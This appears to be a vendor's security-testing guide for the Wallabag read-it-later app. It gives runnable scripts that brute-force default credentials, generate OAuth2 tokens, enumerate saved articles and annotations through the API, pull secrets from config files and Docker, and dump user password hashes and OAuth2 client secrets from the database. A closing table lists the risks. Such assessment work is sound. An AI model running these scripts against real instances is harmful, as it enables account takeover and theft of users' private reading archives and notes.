Wallabag Security Testing: Default Credentials, API Key, Database, and .env Secret

Wallabag is a widely deployed open-source read-it-later application (Pocket/Instapaper alternative) that saves full article content from URLs for offline reading — it accumulates a sensitive archive of everything a user has saved to read: confidential reports, private articles behind paywalls, strategic research, and personal content. Key assessment areas: wallabag/wallabag are the documented default credentials; SYMFONY__ENV__SECRET signs Symfony session tokens; OAuth2 client credentials from configuration enable API access to all saved content; PostgreSQL/MySQL/SQLite stores full article HTML content with user annotations; and registration controls may allow unauthorized account creation. This guide covers systematic Wallabag security assessment.

Table of Contents

  1. Default Credentials and OAuth2 Authentication Testing
  2. API Article Content and Annotation Enumeration
  3. Symfony Secret and Database Extraction
  4. Wallabag Security Hardening

Default Credentials and OAuth2 Authentication Testing

# Wallabag — default credentials and OAuth2 authentication testing
WALLABAG_URL="https://wallabag.example.com"

# Test documented default credentials
for CRED in "wallabag:wallabag" "admin:admin" "admin:wallabag"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  # Wallabag uses Symfony form login
  CSRF=$(curl -s -c /tmp/wb_cookies.txt "${WALLABAG_URL}/login" 2>/dev/null | \
    grep -o 'name="_csrf_token".*value="[^"]*"' | grep -o 'value="[^"]*"' | cut -d'"' -f2 | head -1)
  AUTH=$(curl -s -b /tmp/wb_cookies.txt -c /tmp/wb_cookies.txt \
    -X POST "${WALLABAG_URL}/login_check" \
    -d "_username=${USER}&_password=${PASS}&_csrf_token=${CSRF}" \
    -D /tmp/wb_headers.txt 2>/dev/null)
  LOC=$(grep -i "^location:" /tmp/wb_headers.txt | tr -d '\r' | head -1)
  [ -z "$LOC" ] && STATUS="FAIL" || STATUS="OK redirect=${LOC}"
  echo "${USER}:${PASS}: ${STATUS}"
done

# OAuth2 API token generation (client_credentials flow)
# client_id and client_secret are in the Wallabag API management page
CLIENT_ID="your-wallabag-client-id"
CLIENT_SECRET="your-wallabag-client-secret"
OAUTH_TOKEN=$(curl -s -X POST "${WALLABAG_URL}/oauth/v2/token" \
  -d "grant_type=password&client_id=${CLIENT_ID}&client_secret=${CLIENT_SECRET}&username=wallabag&password=wallabag" \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
t = d.get('access_token','')
if t:
    print(f'ACCESS_TOKEN={t}')
    print(f'Expires: {d.get(\"expires_in\")}s')
else:
    print('FAIL: '+str(list(d.keys())))
" 2>/dev/null)
echo "OAuth2 result: ${OAUTH_TOKEN}"

API Article Content and Annotation Enumeration

# Wallabag API — article content and annotation enumeration
WALLABAG_URL="https://wallabag.example.com"
ACCESS_TOKEN="your-oauth2-access-token"

# Get all saved entries (articles)
curl -s "${WALLABAG_URL}/api/entries.json?perPage=30&page=1" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
embedded = d.get('_embedded',{})
items = embedded.get('items',[])
total = d.get('total',len(items))
print(f'Saved articles: {total} total, showing {len(items)}')
for e in items[:10]:
    # Each entry contains the full cached article HTML content
    content_len = len(e.get('content',''))
    preview = e.get('content','')[:100].replace('<[^>]*>', '').replace('\n',' ')[:80]
    print(f'  [{e.get(\"id\")}] {e.get(\"title\",\"\")[:50]}')
    print(f'    url={e.get(\"url\",\"\")[:60]}')
    print(f'    content_bytes={content_len} reading_time={e.get(\"reading_time\")}m')
    print(f'    preview: {preview}')
" 2>/dev/null

# Get specific entry with full content
ENTRY_ID="123"
curl -s "${WALLABAG_URL}/api/entries/${ENTRY_ID}.json" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Title: {d.get(\"title\")}')
print(f'URL: {d.get(\"url\")}')
print(f'Is Starred: {d.get(\"is_starred\")} Is Archived: {d.get(\"is_archived\")}')
print(f'Tags: {[t.get(\"label\") for t in d.get(\"tags\",[])]}')
# Full article content available in d['content'] — HTML of the saved article
content = d.get('content','')
print(f'Content preview: {content[:200]}')
" 2>/dev/null

# Get all annotations (user notes on articles)
curl -s "${WALLABAG_URL}/api/annotations/${ENTRY_ID}.json" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
rows = d.get('rows',[])
print(f'Annotations: {len(rows)}')
for a in rows[:5]:
    # Annotations contain user's personal notes and highlighted text
    print(f'  Text: {a.get(\"text\",\"\")[:60]}')
    print(f'  Comment: {a.get(\"comment\",\"\")[:80]}')
" 2>/dev/null

# Get all tags (reveals user's organizational categories)
curl -s "${WALLABAG_URL}/api/tags.json" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
tags = d if isinstance(d,list) else []
print(f'Tags: {len(tags)}')
for t in tags[:20]:
    print(f'  {t.get(\"label\")} ({t.get(\"slug\")})')
" 2>/dev/null

Symfony Secret and Database Extraction

# Wallabag Symfony secret and database credential extraction

# app/config/parameters.yml — Wallabag configuration (Symfony parameters)
cat /var/www/wallabag/app/config/parameters.yml 2>/dev/null | grep -E "secret|database|mailer|twofactor"
# database_driver: pdo_sqlite / pdo_pgsql / pdo_mysql
# database_host, database_port, database_name
# database_user, database_password — plaintext DB credentials
# secret — Symfony session signing secret
# twofactor_sender — email configuration
# mailer_transport/user/password — SMTP credentials

# Docker environment variables
docker inspect wallabag 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['SYMFONY','DATABASE','SECRET','MYSQL','POSTGRES','MAILER']):
            print(e)
" 2>/dev/null
# SYMFONY__ENV__SECRET — session signing key
# SYMFONY__ENV__DATABASE_DRIVER/HOST/USER/PASS
# POPULATE_DATABASE — admin password on first run

# PostgreSQL — all Wallabag data
DB_URL="postgresql://wallabag:PASSWORD@localhost/wallabag"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All users
SELECT u.id, u.username, u.email, u.password,
       u.enabled, u.created_at, u.last_login,
       u.twofactor_authentication
FROM wallabag_user u
ORDER BY u.created_at ASC
LIMIT 10;
EOF

-- All saved entries with full content
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT e.id, e.title, e.url,
       LEFT(e.content,200) as content_preview,
       e.is_archived, e.is_starred,
       e.reading_time, e.created_at,
       u.username as owner
FROM wallabag_entry e
JOIN wallabag_user u ON e.user_id = u.id
ORDER BY e.created_at DESC
LIMIT 20;
EOF
-- content column: full cached HTML of saved article

-- All OAuth2 clients (API credentials)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT c.id, c.name, c.random_id,
       c.secret, c.redirect_uris,
       c.allowed_grant_types
FROM wallabag_oauth2_clients c
LIMIT 10;
EOF
-- secret: OAuth2 client secret in plaintext — enables API access to all user articles

Wallabag Security Hardening

Wallabag Security Hardening Checklist:
Security TestMethodRisk
Default wallabag/wallabag credential accessPOST /login_check with wallabag/wallabag — documented default never changed; full access to all saved articles, annotations, and account settings including OAuth2 client managementCritical
Symfony secret extraction and session forgeryRead parameters.yml SYMFONY__ENV__SECRET — Symfony session signing key; forge valid session cookies for any Wallabag user; full read/write access to all saved contentCritical
OAuth2 client secret extraction and API token generationSELECT secret FROM wallabag_oauth2_clients — plaintext client secrets; generate API access tokens for all user articles without knowing user passwords; token valid for full API accessHigh
Saved article content bulk exfiltrationGET /api/entries.json — all saved articles with full cached HTML content including content from paywalled articles, confidential reports, and private research materialsHigh
User annotation extractionGET /api/annotations/{id}.json — personal notes and highlighted text from each saved article; reveals user's analysis and commentary on saved contentMedium

Automate Wallabag Security Testing

Ironimo tests Wallabag deployments for default wallabag/wallabag credential access, Symfony secret extraction and session token forgery, OAuth2 client secret extraction for API token generation, saved article content bulk exfiltration via API, user annotation and personal note extraction, PostgreSQL wallabag_entry full content access, tag enumeration for reading profile analysis, SMTP credential extraction from parameters.yml, Docker SYMFONY__ENV__SECRET plaintext exposure, and open user registration testing.

Start free scan